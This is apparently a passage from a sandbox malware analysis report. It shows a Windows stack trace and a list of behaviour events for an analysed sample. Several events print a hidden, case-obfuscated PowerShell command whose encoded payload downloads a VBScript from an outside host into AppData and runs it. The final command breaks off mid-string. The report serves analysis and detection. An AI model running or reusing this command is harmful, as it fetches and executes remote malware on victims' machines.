CoGetInstanceFromFile+0x511d HACCEL_UserFree-0x6cb3 ole32+0x170ccd @ 0x7fefe1c0ccd
CoGetInstanceFromFile+0x5093 HACCEL_UserFree-0x6d3d ole32+0x170c43 @ 0x7fefe1c0c43
CoSetState+0x1450 DcomChannelSetHResult-0x34c ole32+0x2a4f0 @ 0x7fefe07a4f0
GetErrorInfo+0x599 ObjectStublessClient7-0xb1f ole32+0x3d551 @ 0x7fefe08d551
CoGetInstanceFromFile+0x78ce HACCEL_UserFree-0x4502 ole32+0x17347e @ 0x7fefe1c347e
CoGetInstanceFromFile+0x567b HACCEL_UserFree-0x6755 ole32+0x17122b @ 0x7fefe1c122b
CoGetInstanceFromFile+0x7992 HACCEL_UserFree-0x443e ole32+0x173542 @ 0x7fefe1c3542
GetErrorInfo+0x475 ObjectStublessClient7-0xc43 ole32+0x3d42d @ 0x7fefe08d42d
GetErrorInfo+0x21e ObjectStublessClient7-0xe9a ole32+0x3d1d6 @ 0x7fefe08d1d6
TranslateMessageEx+0x2a1 IntersectRect-0x11f user32+0x19bd1 @ 0x77259bd1
TranslateMessage+0x1ea DispatchMessageW-0x42 user32+0x198da @ 0x772598da
GetErrorInfo+0xf3 ObjectStublessClient7-0xfc5 ole32+0x3d0ab @ 0x7fefe08d0ab
CoUnloadingWOW+0x117 OleCreateFromFileEx-0x1829 ole32+0x163e57 @ 0x7fefe1b3e57
ObjectStublessClient24+0x1876 CLSIDFromString-0x57a ole32+0x10106 @ 0x7fefe060106
ObjectStublessClient24+0x18f2 CLSIDFromString-0x4fe ole32+0x10182 @ 0x7fefe060182
BaseThreadInitThunk+0xd CreateThread-0x53 kernel32+0x1652d @ 0x76fd652d
RtlUserThreadStart+0x21 strchr-0x3df ntdll+0x2c521 @ 0x776ec521

Creates a shortcut to an executable file (1 event)

file	C:\Users\test22\Desktop\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk

Creates a suspicious process (3 events)

cmdline	C:\Windows\System32\cmd.exe "/C powERsheLL.ExE -EX BypaSS -NOp -W HiDdEN -eC IAAJAAkACQAJAFsATgBlAHQALgBzAEUAUgBWAGkAYwBlAHAAbwBpAE4AVABNAGEAbgBhAEcARQBSAF0AOgA6AHMARQBjAFUAUgBJAHQAWQBwAHIATwB0AE8AYwBPAEwAIAAgACAAIAAgACAAIAA9ACAACQAgAAkACQAgAAkACQAgAAkAIAAgAFsAbgBlAFQALgBTAEUAQwBVAFIAaQBUAFkAcAByAE8AdABPAEMATwBsAHQAWQBwAGUAXQA6ADoAVABsAHMAMQAyACAAOwAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAdwBHAGUAVAAgACAAIAAoAFsAQwBoAEEAcgBdACAACQAgACAAIAAJAAkACQAgAAkAMQAwADQAIAAJACAAIAAgAAkACQAJACAACQAgAAkAIAAgACAACQAJAAkAIAAJACsAIAAJACAAIAAgAAkACQAJACAACQBbAEMAaABBAFIAXQAgAAkAIAAgACAACQAJAAkAIAAJADEAMQA2ACAACQAgACAAIAAJAAkACQAgAAkAIAAJACAAIAAgAAkACQAJACAACQArACAACQAgACAAIAAJAAkACQAgAAkAWwBjAGgAYQBSAF0AIAAJACAAIAAgAAkACQAJACAACQAxADEANgAgAAkAIAAgACAACQAJAAkAIAAJACAACQAgACAAIAAJAAkACQAgAAkAKwAgAAkAIAAgACAACQAJAAkAIAAJAFsAQwBIAEEAUgBdACAACQAgACAAIAAJAAkACQAgAAkAMQAxADIAIAAJACAAIAAgAAkACQAJACAACQAgAAkAIAAgACAACQAJAAkAIAAJACsAIAAJACAAIAAgAAkACQAJACAACQBbAGMAaABhAHIAXQAgAAkAIAAgACAACQAJAAkAIAAJADUAOAAgAAkAIAAgACAACQAJAAkAIAAJACAACQAgACAAIAAJAAkACQAgAAkAKwAgAAkAIAAgACAACQAJAAkAIAAJAFsAYwBoAEEAcgBdACAACQAgACAAIAAJAAkACQAgAAkANAA3ACAACQAgACAAIAAJAAkACQAgAAkAIAAJACAAIAAgAAkACQAJACAACQArACAACQAgACAAIAAJAAkACQAgAAkAWwBjAGgAYQByAF0AIAAJACAAIAAgAAkACQAJACAACQA0ADcAIAAJACAAIAAgAAkACQAJACAACQAgAAkAIAAgACAACQAJAAkAIAAJACsAIAAJACAAIAAgAAkACQAJACAACQBbAGMAaABhAHIAXQAgAAkAIAAgACAACQAJAAkAIAAJADQAOQAgAAkAIAAgACAACQAJAAkAIAAJACAACQAgACAAIAAJAAkACQAgAAkAKwAgAAkAIAAgACAACQAJAAkAIAAJAFsAQwBIAGEAcgBdACAACQAgACAAIAAJAAkACQAgAAkANQA3ACAACQAgACAAIAAJAAkACQAgAAkAIAAJACAAIAAgAAkACQAJACAACQArACAACQAgACAAIAAJAAkACQAgAAkAWwBDAEgAQQByAF0AIAAJACAAIAAgAAkACQAJACAACQA1ADYAIAAJACAAIAAgAAkACQAJACAACQAgAAkAIAAgACAACQAJAAkAIAAJACsAIAAJACAAIAAgAAkACQAJACAACQBbAGMASABBAFIAXQAgAAkAIAAgACAACQAJAAkAIAAJADQANgAgAAkAIAAgACAACQAJAAkAIAAJACAACQAgACAAIAAJAAkACQAgAAkAKwAgAAkAIAAgACAACQAJAAkAIAAJAFsAYwBIAGEAcgBdACAACQAgACAAIAAJAAkACQAgAAkANQAyACAACQAgACAAIAAJAAkACQAgAAkAIAAJACAAIAAgAAkACQAJACAACQArACAACQAgACAAIAAJAAkACQAgAAkAWwBjAEgAQQByAF0AIAAJACAAIAAgAAkACQAJACAACQA1ADQAIAAJACAAIAAgAAkACQAJACAACQAgAAkAIAAgACAACQAJAAkAIAAJACsAIAAJACAAIAAgAAkACQAJACAACQBbAEMAaABBAFIAXQAgAAkAIAAgACAACQAJAAkAIAAJADQANgAgAAkAIAAgACAACQAJAAkAIAAJACAACQAgACAAIAAJAAkACQAgAAkAKwAgAAkAIAAgACAACQAJAAkAIAAJAFsAYwBIAEEAcgBdACAACQAgACAAIAAJAAkACQAgAAkANAA5ACAACQAgACAAIAAJAAkACQAgAAkAIAAJACAAIAAgAAkACQAJACAACQArACAACQAgACAAIAAJAAkACQAgAAkAWwBjAEgAQQBSAF0AIAAJACAAIAAgAAkACQAJACAACQA1ADUAIAAJACAAIAAgAAkACQAJACAACQAgAAkAIAAgACAACQAJAAkAIAAJACsAIAAJACAAIAAgAAkACQAJACAACQBbAEMAaABBAFIAXQAgAAkAIAAgACAACQAJAAkAIAAJADUANgAgAAkAIAAgACAACQAJAAkAIAAJACAACQAgACAAIAAJAAkACQAgAAkAKwAgAAkAIAAgACAACQAJAAkAIAAJAFsAQwBoAEEAcgBdACAACQAgACAAIAAJAAkACQAgAAkANAA2ACAACQAgACAAIAAJAAkACQAgAAkAIAAJACAAIAAgAAkACQAJACAACQArACAACQAgACAAIAAJAAkACQAgAAkAWwBjAEgAYQBSAF0AIAAJACAAIAAgAAkACQAJACAACQA0ADkAIAAJACAAIAAgAAkACQAJACAACQAgAAkAIAAgACAACQAJAAkAIAAJACsAIAAJACAAIAAgAAkACQAJACAACQBbAEMAaABBAHIAXQAgAAkAIAAgACAACQAJAAkAIAAJADUAMwAgAAkAIAAgACAACQAJAAkAIAAJACAACQAgACAAIAAJAAkACQAgAAkAKwAgAAkAIAAgACAACQAJAAkAIAAJAFsAQwBoAGEAUgBdACAACQAgACAAIAAJAAkACQAgAAkANQAwACAACQAgACAAIAAJAAkACQAgAAkAIAAJACAAIAAgAAkACQAJACAACQArACAACQAgACAAIAAJAAkACQAgAAkAWwBjAEgAQQBSAF0AIAAJACAAIAAgAAkACQAJACAACQA0ADcAIAAJACAAIAAgAAkACQAJACAACQAgAAkAIAAgACAACQAJAAkAIAAJACsAIAAJACAAIAAgAAkACQAJACAACQBbAGMAaABhAFIAXQAgAAkAIAAgACAACQAJAAkAIAAJADEAMQA5ACAACQAgACAAIAAJAAkACQAgAAkAIAAJACAAIAAgAAkACQAJACAACQArACAACQAgACAAIAAJAAkACQAgAAkAWwBjAGgAYQBSAF0AIAAJACAAIAAgAAkACQAJACAACQAxADAANQAgAAkAIAAgACAACQAJAAkAIAAJACAACQAgACAAIAAJAAkACQAgAAkAKwAgAAkAIAAgACAACQAJAAkAIAAJAFsAQwBIAGEAUgBdACAACQAgACAAIAAJAAkACQAgAAkAMQAxADAAIAAJACAAIAAgAAkACQAJACAACQAgAAkAIAAgACAACQAJAAkAIAAJACsAIAAJACAAIAAgAAkACQAJACAACQBbAEMASABhAFIAXQAgAAkAIAAgACAACQAJAAkAIAAJADEAMAAwACAACQAgACAAIAAJAAkACQAgAAkAIAAJACAAIAAgAAkACQAJACAACQArACAACQAgACAAIAAJAAkACQAgAAkAWwBjAGgAYQByAF0AIAAJACAAIAAgAAkACQAJACAACQAxADEAMQAgAAkAIAAgACAACQAJAAkAIAAJACAACQAgACAAIAAJAAkACQAgAAkAKwAgAAkAIAAgACAACQAJAAkAIAAJAFsAYwBIAGEAUgBdACAACQAgACAAIAAJAAkACQAgAAkAMQAxADkAIAAJACAAIAAgAAkACQAJACAACQAgAAkAIAAgACAACQAJAAkAIAAJACsAIAAJACAAIAAgAAkACQAJACAACQBbAEMASABBAFIAXQAgAAkAIAAgACAACQAJAAkAIAAJADQANwAgAAkAIAAgACAACQAJAAkAIAAJACAACQAgACAAIAAJAAkACQAgAAkAKwAgAAkAIAAgACAACQAJAAkAIAAJAFsAQwBoAEEAcgBdACAACQAgACAAIAAJAAkACQAgAAkANQAwACAACQAgACAAIAAJAAkACQAgAAkAIAAJACAAIAAgAAkACQAJACAACQArACAACQAgACAAIAAJAAkACQAgAAkAWwBjAEgAQQBSAF0AIAAJACAAIAAgAAkACQAJACAACQA0ADcAIAAJACAAIAAgAAkACQAJACAACQAgAAkAIAAgACAACQAJAAkAIAAJACsAIAAJACAAIAAgAAkACQAJACAACQBbAGMAaABBAHIAXQAgAAkAIAAgACAACQAJAAkAIAAJADcAMgAgAAkAIAAgACAACQAJAAkAIAAJACAACQAgACAAIAAJAAkACQAgAAkAKwAgAAkAIAAgACAACQAJAAkAIAAJAFsAQwBIAEEAcgBdACAACQAgACAAIAAJAAkACQAgAAkAOAA0ACAACQAgACAAIAAJAAkACQAgAAkAIAAJACAAIAAgAAkACQAJACAACQArACAACQAgACAAIAAJAAkACQAgAAkAWwBjAGgAQQBSAF0AIAAJACAAIAAgAAkACQAJACAACQA3ADcAIAAJACAAIAAgAAkACQAJACAACQAgAAkAIAAgACAACQAJAAkAIAAJACsAIAAJACAAIAAgAAkACQAJACAACQBbAGMASABBAHIAXQAgAAkAIAAgACAACQAJAAkAIAAJADcANgAgAAkAIAAgACAACQAJAAkAIAAJACAACQAgACAAIAAJAAkACQAgAAkAKwAgAAkAIAAgACAACQAJAAkAIAAJAFsAYwBIAGEAcgBdACAACQAgACAAIAAJAAkACQAgAAkANAA2ACAACQAgACAAIAAJAAkACQAgAAkAIAAJACAAIAAgAAkACQAJACAACQArACAACQAgACAAIAAJAAkACQAgAAkAWwBDAGgAYQBSAF0AIAAJACAAIAAgAAkACQAJACAACQAxADEAOAAgAAkAIAAgACAACQAJAAkAIAAJACAACQAgACAAIAAJAAkACQAgAAkAKwAgAAkAIAAgACAACQAJAAkAIAAJAFsAQwBIAGEAUgBdACAACQAgACAAIAAJAAkACQAgAAkAOQA4ACAACQAgACAAIAAJAAkACQAgAAkAIAAJACAAIAAgAAkACQAJACAACQArACAACQAgACAAIAAJAAkACQAgAAkAWwBjAEgAYQByAF0AIAAJACAAIAAgAAkACQAJACAACQAxADEANQAgAAkAIAAgACAACQAJAAkAIAAJACkAIAAJAAkAIAAgAAkAIAAgACAACQAJAAkAIAAJACAACQAJAC0AbwB1AHQARgBpAGwAZQAgACAACQAJACAAIAAJACAACQAJAB0gJABFAG4AVgA6AEEAcABwAEQAYQB0AEEAXABIAFQATQBMAC4AdgBiAHMAHSAgACAACQAJACAACQAgACAACQAgACAACQAJACAACQA7ACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFMAdABBAFIAVAAgACAAIAAgACAAIAAgACAAHSAkAEUAbgB2ADoAQQBQAFAARABhAFQAYQBcAEgAVABNAEwALgB2AGIAcwAdIA== "
cmdline	"C:\Windows\system32\cmd.exe" "/C powERsheLL.ExE -EX BypaSS -NOp -W HiDdEN -eC IAAJAAkACQAJAFsATgBlAHQALgBzAEUAUgBWAGkAYwBlAHAAbwBpAE4AVABNAGEAbgBhAEcARQBSAF0AOgA6AHMARQBjAFUAUgBJAHQAWQBwAHIATwB0AE8AYwBPAEwAIAAgACAAIAAgACAAIAA9ACAACQAgAAkACQAgAAkACQAgAAkAIAAgAFsAbgBlAFQALgBTAEUAQwBVAFIAaQBUAFkAcAByAE8AdABPAEMATwBsAHQAWQBwAGUAXQA6ADoAVABsAHMAMQAyACAAOwAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAdwBHAGUAVAAgACAAIAAoAFsAQwBoAEEAcgBdACAACQAgACAAIAAJAAkACQAgAAkAMQAwADQAIAAJACAAIAAgAAkACQAJACAACQAgAAkAIAAgACAACQAJAAkAIAAJACsAIAAJACAAIAAgAAkACQAJACAACQBbAEMAaABBAFIAXQAgAAkAIAAgACAACQAJAAkAIAAJADEAMQA2ACAACQAgACAAIAAJAAkACQAgAAkAIAAJACAAIAAgAAkACQAJACAACQArACAACQAgACAAIAAJAAkACQAgAAkAWwBjAGgAYQBSAF0AIAAJACAAIAAgAAkACQAJACAACQAxADEANgAgAAkAIAAgACAACQAJAAkAIAAJACAACQAgACAAIAAJAAkACQAgAAkAKwAgAAkAIAAgACAACQAJAAkAIAAJAFsAQwBIAEEAUgBdACAACQAgACAAIAAJAAkACQAgAAkAMQAxADIAIAAJACAAIAAgAAkACQAJACAACQAgAAkAIAAgACAACQAJAAkAIAAJACsAIAAJACAAIAAgAAkACQAJACAACQBbAGMAaABhAHIAXQAgAAkAIAAgACAACQAJAAkAIAAJADUAOAAgAAkAIAAgACAACQAJAAkAIAAJACAACQAgACAAIAAJAAkACQAgAAkAKwAgAAkAIAAgACAACQAJAAkAIAAJAFsAYwBoAEEAcgBdACAACQAgACAAIAAJAAkACQAgAAkANAA3ACAACQAgACAAIAAJAAkACQAgAAkAIAAJACAAIAAgAAkACQAJACAACQArACAACQAgACAAIAAJAAkACQAgAAkAWwBjAGgAYQByAF0AIAAJACAAIAAgAAkACQAJACAACQA0ADcAIAAJACAAIAAgAAkACQAJACAACQAgAAkAIAAgACAACQAJAAkAIAAJACsAIAAJACAAIAAgAAkACQAJACAACQBbAGMAaABhAHIAXQAgAAkAIAAgACAACQAJAAkAIAAJADQAOQAgAAkAIAAgACAACQAJAAkAIAAJACAACQAgACAAIAAJAAkACQAgAAkAKwAgAAkAIAAgACAACQAJAAkAIAAJAFsAQwBIAGEAcgBdACAACQAgACAAIAAJAAkACQAgAAkANQA3ACAACQAgACAAIAAJAAkACQAgAAkAIAAJACAAIAAgAAkACQAJACAACQArACAACQAgACAAIAAJAAkACQAgAAkAWwBDAEgAQQByAF0AIAAJACAAIAAgAAkACQAJACAACQA1ADYAIAAJACAAIAAgAAkACQAJACAACQAgAAkAIAAgACAACQAJAAkAIAAJACsAIAAJACAAIAAgAAkACQAJACAACQBbAGMASABBAFIAXQAgAAkAIAAgACAACQAJAAkAIAAJADQANgAgAAkAIAAgACAACQAJAAkAIAAJACAACQAgACAAIAAJAAkACQAgAAkAKwAgAAkAIAAgACAACQAJAAkAIAAJAFsAYwBIAGEAcgBdACAACQAgACAAIAAJAAkACQAgAAkANQAyACAACQAgACAAIAAJAAkACQAgAAkAIAAJACAAIAAgAAkACQAJACAACQArACAACQAgACAAIAAJAAkACQAgAAkAWwBjAEgAQQByAF0AIAAJACAAIAAgAAkACQAJACAACQA1ADQAIAAJACAAIAAgAAkACQAJACAACQAgAAkAIAAgACAACQAJAAkAIAAJACsAIAAJACAAIAAgAAkACQAJACAACQBbAEMAaABBAFIAXQAgAAkAIAAgACAACQAJAAkAIAAJADQANgAgAAkAIAAgACAACQAJAAkAIAAJACAACQAgACAAIAAJAAkACQAgAAkAKwAgAAkAIAAgACAACQAJAAkAIAAJAFsAYwBIAEEAcgBdACAACQAgACAAIAAJAAkACQAgAAkANAA5ACAACQAgACAAIAAJAAkACQAgAAkAIAAJACAAIAAgAAkACQAJACAACQArACAACQAgACAAIAAJAAkACQAgAAkAWwBjAEgAQQBSAF0AIAAJACAAIAAgAAkACQAJACAACQA1ADUAIAAJACAAIAAgAAkACQAJACAACQAgAAkAIAAgACAACQAJAAkAIAAJACsAIAAJACAAIAAgAAkACQAJACAACQBbAEMAaABBAFIAXQAgAAkAIAAgACAACQAJAAkAIAAJADUANgAgAAkAIAAgACAACQAJAAkAIAAJACAACQAgACAAIAAJAAkACQAgAAkAKwAgAAkAIAAgACAACQAJAAkAIAAJAFsAQwBoAEEAcgBdACAACQAgACAAIAAJAAkACQAgAAkANAA2ACAACQAgACAAIAAJAAkACQAgAAkAIAAJACAAIAAgAAkACQAJACAACQArACAACQAgACAAIAAJAAkACQAgAAkAWwBjAEgAYQBSAF0AIAAJACAAIAAgAAkACQAJACAACQA0ADkAIAAJACAAIAAgAAkACQAJACAACQAgAAkAIAAgACAACQAJAAkAIAAJACsAIAAJACAAIAAgAAkACQAJACAACQBbAEMAaABBAHIAXQAgAAkAIAAgACAACQAJAAkAIAAJADUAMwAgAAkAIAAgACAACQAJAAkAIAAJACAACQAgACAAIAAJAAkACQAgAAkAKwAgAAkAIAAgACAACQAJAAkAIAAJAFsAQwBoAGEAUgBdACAACQAgACAAIAAJAAkACQAgAAkANQAwACAACQAgACAAIAAJAAkACQAgAAkAIAAJACAAIAAgAAkACQAJACAACQArACAACQAgACAAIAAJAAkACQAgAAkAWwBjAEgAQQBSAF0AIAAJACAAIAAgAAkACQAJACAACQA0ADcAIAAJACAAIAAgAAkACQAJACAACQAgAAkAIAAgACAACQAJAAkAIAAJACsAIAAJACAAIAAgAAkACQAJACAACQBbAGMAaABhAFIAXQAgAAkAIAAgACAACQAJAAkAIAAJADEAMQA5ACAACQAgACAAIAAJAAkACQAgAAkAIAAJACAAIAAgAAkACQAJACAACQArACAACQAgACAAIAAJAAkACQAgAAkAWwBjAGgAYQBSAF0AIAAJACAAIAAgAAkACQAJACAACQAxADAANQAgAAkAIAAgACAACQAJAAkAIAAJACAACQAgACAAIAAJAAkACQAgAAkAKwAgAAkAIAAgACAACQAJAAkAIAAJAFsAQwBIAGEAUgBdACAACQAgACAAIAAJAAkACQAgAAkAMQAxADAAIAAJACAAIAAgAAkACQAJACAACQAgAAkAIAAgACAACQAJAAkAIAAJACsAIAAJACAAIAAgAAkACQAJACAACQBbAEMASABhAFIAXQAgAAkAIAAgACAACQAJAAkAIAAJADEAMAAwACAACQAgACAAIAAJAAkACQAgAAkAIAAJACAAIAAgAAkACQAJACAACQArACAACQAgACAAIAAJAAkACQAgAAkAWwBjAGgAYQByAF0AIAAJACAAIAAgAAkACQAJACAACQAxADEAMQAgAAkAIAAgACAACQAJAAkAIAAJACAACQAgACAAIAAJAAkACQAgAAkAKwAgAAkAIAAgACAACQAJAAkAIAAJAFsAYwBIAGEAUgBdACAACQAgACAAIAAJAAkACQAgAAkAMQAxADkAIAAJACAAIAAgAAkACQAJACAACQAgAAkAIAAgACAACQAJAAkAIAAJACsAIAAJACAAIAAgAAkACQAJACAACQBbAEMASABBAFIAXQAgAAkAIAAgACAACQAJAAkAIAAJADQANwAgAAkAIAAgACAACQAJAAkAIAAJACAACQAgACAAIAAJAAkACQAgAAkAKwAgAAkAIAAgACAACQAJAAkAIAAJAFsAQwBoAEEAcgBdACAACQAgACAAIAAJAAkACQAgAAkANQAwACAACQAgACAAIAAJAAkACQAgAAkAIAAJACAAIAAgAAkACQAJACAACQArACAACQAgACAAIAAJAAkACQAgAAkAWwBjAEgAQQBSAF0AIAAJACAAIAAgAAkACQAJACAACQA0ADcAIAAJACAAIAAgAAkACQAJACAACQAgAAkAIAAgACAACQAJAAkAIAAJACsAIAAJACAAIAAgAAkACQAJACAACQBbAGMAaABBAHIAXQAgAAkAIAAgACAACQAJAAkAIAAJADcAMgAgAAkAIAAgACAACQAJAAkAIAAJACAACQAgACAAIAAJAAkACQAgAAkAKwAgAAkAIAAgACAACQAJAAkAIAAJAFsAQwBIAEEAcgBdACAACQAgACAAIAAJAAkACQAgAAkAOAA0ACAACQAgACAAIAAJAAkACQAgAAkAIAAJACAAIAAgAAkACQAJACAACQArACAACQAgACAAIAAJAAkACQAgAAkAWwBjAGgAQQBSAF0AIAAJACAAIAAgAAkACQAJACAACQA3ADcAIAAJACAAIAAgAAkACQAJACAACQAgAAkAIAAgACAACQAJAAkAIAAJACsAIAAJACAAIAAgAAkACQAJACAACQBbAGMASABBAHIAXQAgAAkAIAAgACAACQAJAAkAIAAJADcANgAgAAkAIAAgACAACQAJAAkAIAAJACAACQAgACAAIAAJAAkACQAgAAkAKwAgAAkAIAAgACAACQAJAAkAIAAJAFsAYwBIAGEAcgBdACAACQAgACAAIAAJAAkACQAgAAkANAA2ACAACQAgACAAIAAJAAkACQAgAAkAIAAJACAAIAAgAAkACQAJACAACQArACAACQAgACAAIAAJAAkACQAgAAkAWwBDAGgAYQBSAF0AIAAJACAAIAAgAAkACQAJACAACQAxADEAOAAgAAkAIAAgACAACQAJAAkAIAAJACAACQAgACAAIAAJAAkACQAgAAkAKwAgAAkAIAAgACAACQAJAAkAIAAJAFsAQwBIAGEAUgBdACAACQAgACAAIAAJAAkACQAgAAkAOQA4ACAACQAgACAAIAAJAAkACQAgAAkAIAAJACAAIAAgAAkACQAJACAACQArACAACQAgACAAIAAJAAkACQAgAAkAWwBjAEgAYQByAF0AIAAJACAAIAAgAAkACQAJACAACQAxADEANQAgAAkAIAAgACAACQAJAAkAIAAJACkAIAAJAAkAIAAgAAkAIAAgACAACQAJAAkAIAAJACAACQAJAC0AbwB1AHQARgBpAGwAZQAgACAACQAJACAAIAAJACAACQAJAB0gJABFAG4AVgA6AEEAcABwAEQAYQB0AEEAXABIAFQATQBMAC4AdgBiAHMAHSAgACAACQAJACAACQAgACAACQAgACAACQAJACAACQA7ACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFMAdABBAFIAVAAgACAAIAAgACAAIAAgACAAHSAkAEUAbgB2ADoAQQBQAFAARABhAFQAYQBcAEgAVABNAEwALgB2AGIAcwAdIA== "
cmdline	powERsheLL.ExE -EX BypaSS -NOp -W HiDdEN -eC IAAJAAkACQAJAFsATgBlAHQALgBzAEUAUgBWAGkAYwBlAHAAbwBpAE4AVABNAGEAbgBhAEcARQBSAF0AOgA6AHMARQBjAFUAUgBJAHQAWQBwAHIATwB0AE8AYwBPAEwAIAAgACAAIAAgACAAIAA9ACAACQAgAAkACQAgAAkACQAgAAkAIAAgAFsAbgBlAFQALgBTAEUAQwBVAFIAaQBUAFkAcAByAE8AdABPAEMATwBsAHQAWQBwAGUAXQA6ADoAVABsAHMAMQAyACAAOwAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAdwBHAGUAVAAgACAAIAAoAFsAQwBoAEEAcgBdACAACQAgACAAIAAJAAkACQAgAAkAMQAwADQAIAAJACAAIAAgAAkACQAJACAACQAgAAkAIAAgACAACQAJAAkAIAAJACsAIAAJACAAIAAgAAkACQAJACAACQBbAEMAaABBAFIAXQAgAAkAIAAgACAACQAJAAkAIAAJADEAMQA2ACAACQAgACAAIAAJAAkACQAgAAkAIAAJACAAIAAgAAkACQAJACAACQArACAACQAgACAAIAAJAAkACQAgAAkAWwBjAGgAYQBSAF0AIAAJACAAIAAgAAkACQAJACAACQAxADEANgAgAAkAIAAgACAACQAJAAkAIAAJACAACQAgACAAIAAJAAkACQAgAAkAKwAgAAkAIAAgACAACQAJAAkAIAAJAFsAQwBIAEEAUgBdACAACQAgACAAIAAJAAkACQAgAAkAMQAxADIAIAAJACAAIAAgAAkACQAJACAACQAgAAkAIAAgACAACQAJAAkAIAAJACsAIAAJACAAIAAgAAkACQAJACAACQBbAGMAaABhAHIAXQAgAAkAIAAgACAACQAJAAkAIAAJADUAOAAgAAkAIAAgACAACQAJAAkAIAAJACAACQAgACAAIAAJAAkACQAgAAkAKwAgAAkAIAAgACAACQAJAAkAIAAJAFsAYwBoAEEAcgBdACAACQAgACAAIAAJAAkACQAgAAkANAA3ACAACQAgACAAIAAJAAkACQAgAAkAIAAJACAAIAAgAAkACQAJACAACQArACAACQAgACAAIAAJAAkACQAgAAkAWwBjAGgAYQByAF0AIAAJACAAIAAgAAkACQAJACAACQA0ADcAIAAJACAAIAAgAAkACQAJACAACQAgAAkAIAAgACAACQAJAAkAIAAJACsAIAAJACAAIAAgAAkACQAJACAACQBbAGMAaABhAHIAXQAgAAkAIAAgACAACQAJAAkAIAAJADQAOQAgAAkAIAAgACAACQAJAAkAIAAJACAACQAgACAAIAAJAAkACQAgAAkAKwAgAAkAIAAgACAACQAJAAkAIAAJAFsAQwBIAGEAcgBdACAACQAgACAAIAAJAAkACQAgAAkANQA3ACAACQAgACAAIAAJAAkACQAgAAkAIAAJACAAIAAgAAkACQAJACAACQArACAACQAgACAAIAAJAAkACQAgAAkAWwBDAEgAQQByAF0AIAAJACAAIAAgAAkACQAJACAACQA1ADYAIAAJACAAIAAgAAkACQAJACAACQAgAAkAIAAgACAACQAJAAkAIAAJACsAIAAJACAAIAAgAAkACQAJACAACQBbAGMASABBAFIAXQAgAAkAIAAgACAACQAJAAkAIAAJADQANgAgAAkAIAAgACAACQAJAAkAIAAJACAACQAgACAAIAAJAAkACQAgAAkAKwAgAAkAIAAgACAACQAJAAkAIAAJAFsAYwBIAGEAcgBdACAACQAgACAAIAAJAAkACQAgAAkANQAyACAACQAgACAAIAAJAAkACQAgAAkAIAAJACAAIAAgAAkACQAJACAACQArACAACQAgACAAIAAJAAkACQAgAAkAWwBjAEgAQQByAF0AIAAJACAAIAAgAAkACQAJACAACQA1ADQAIAAJACAAIAAgAAkACQAJACAACQAgAAkAIAAgACAACQAJAAkAIAAJACsAIAAJACAAIAAgAAkACQAJACAACQBbAEMAaABBAFIAXQAgAAkAIAAgACAACQAJAAkAIAAJADQANgAgAAkAIAAgACAACQAJAAkAIAAJACAACQAgACAAIAAJAAkACQAgAAkAKwAgAAkAIAAgACAACQAJAAkAIAAJAFsAYwBIAEEAcgBdACAACQAgACAAIAAJAAkACQAgAAkANAA5ACAACQAgACAAIAAJAAkACQAgAAkAIAAJACAAIAAgAAkACQAJACAACQArACAACQAgACAAIAAJAAkACQAgAAkAWwBjAEgAQQBSAF0AIAAJACAAIAAgAAkACQAJACAACQA1ADUAIAAJACAAIAAgAAkACQAJACAACQAgAAkAIAAgACAACQAJAAkAIAAJACsAIAAJACAAIAAgAAkACQAJACAACQBbAEMAaABBAFIAXQAgAAkAIAAgACAACQAJAAkAIAAJADUANgAgAAkAIAAgACAACQAJAAkAIAAJACAACQAgACAAIAAJAAkACQAgAAkAKwAgAAkAIAAgACAACQAJAAkAIAAJAFsAQwBoAEEAcgBdACAACQAgACAAIAAJAAkACQAgAAkANAA2ACAACQAgACAAIAAJAAkACQAgAAkAIAAJACAAIAAgAAkACQAJACAACQArACAACQAgACAAIAAJAAkACQAgAAkAWwBjAEgAYQBSAF0AIAAJACAAIAAgAAkACQAJACAACQA0ADkAIAAJACAAIAAgAAkACQAJACAACQAgAAkAIAAgACAACQAJAAkAIAAJACsAIAAJACAAIAAgAAkACQAJACAACQBbAEMAaABBAHIAXQAgAAkAIAAgACAACQAJAAkAIAAJADUAMwAgAAkAIAAgACAACQAJAAkAIAAJACAACQAgACAAIAAJAAkACQAgAAkAKwAgAAkAIAAgACAACQAJAAkAIAAJAFsAQwBoAGEAUgBdACAACQAgACAAIAAJAAkACQAgAAkANQAwACAACQAgACAAIAAJAAkACQAgAAkAIAAJACAAIAAgAAkACQAJACAACQArACAACQAgACAAIAAJAAkACQAgAAkAWwBjAEgAQQBSAF0AIAAJACAAIAAgAAkACQAJACAACQA0ADcAIAAJACAAIAAgAAkACQAJACAACQAgAAkAIAAgACAACQAJAAkAIAAJACsAIAAJACAAIAAgAAkACQAJACAACQBbAGMAaABhAFIAXQAgAAkAIAAgACAACQAJAAkAIAAJADEAMQA5ACAACQAgACAAIAAJAAkACQAgAAkAIAAJACAAIAAgAAkACQAJACAACQArACAACQAgACAAIAAJAAkACQAgAAkAWwBjAGgAYQBSAF0AIAAJACAAIAAgAAkACQAJACAACQAxADAANQAgAAkAIAAgACAACQAJAAkAIAAJACAACQAgACAAIAAJAAkACQAgAAkAKwAgAAkAIAAgACAACQAJAAkAIAAJAFsAQwBIAGEAUgBdACAACQAgACAAIAAJAAkACQAgAAkAMQAxADAAIAAJACAAIAAgAAkACQAJACAACQAgAAkAIAAgACAACQAJAAkAIAAJACsAIAAJACAAIAAgAAkACQAJACAACQBbAEMASABhAFIAXQAgAAkAIAAgACAACQAJAAkAIAAJADEAMAAwACAACQAgACAAIAAJAAkACQAgAAkAIAAJACAAIAAgAAkACQAJACAACQArACAACQAgACAAIAAJAAkACQAgAAkAWwBjAGgAYQByAF0AIAAJACAAIAAgAAkACQAJACAACQAxADEAMQAgAAkAIAAgACAACQAJAAkAIAAJACAACQAgACAAIAAJAAkACQAgAAkAKwAgAAkAIAAgACAACQAJAAkAIAAJAFsAYwBIAGEAUgBdACAACQAgACAAIAAJAAkACQAgAAkAMQAxADkAIAAJACAAIAAgAAkACQAJACAACQAgAAkAIAAgACAACQAJAAkAIAAJACsAIAAJACAAIAAgAAkACQAJACAACQBbAEMASABBAFIAXQAgAAkAIAAgACAACQAJAAkAIAAJADQANwAgAAkAIAAgACAACQAJAAkAIAAJACAACQAgACAAIAAJAAkACQAgAAkAKwAgAAk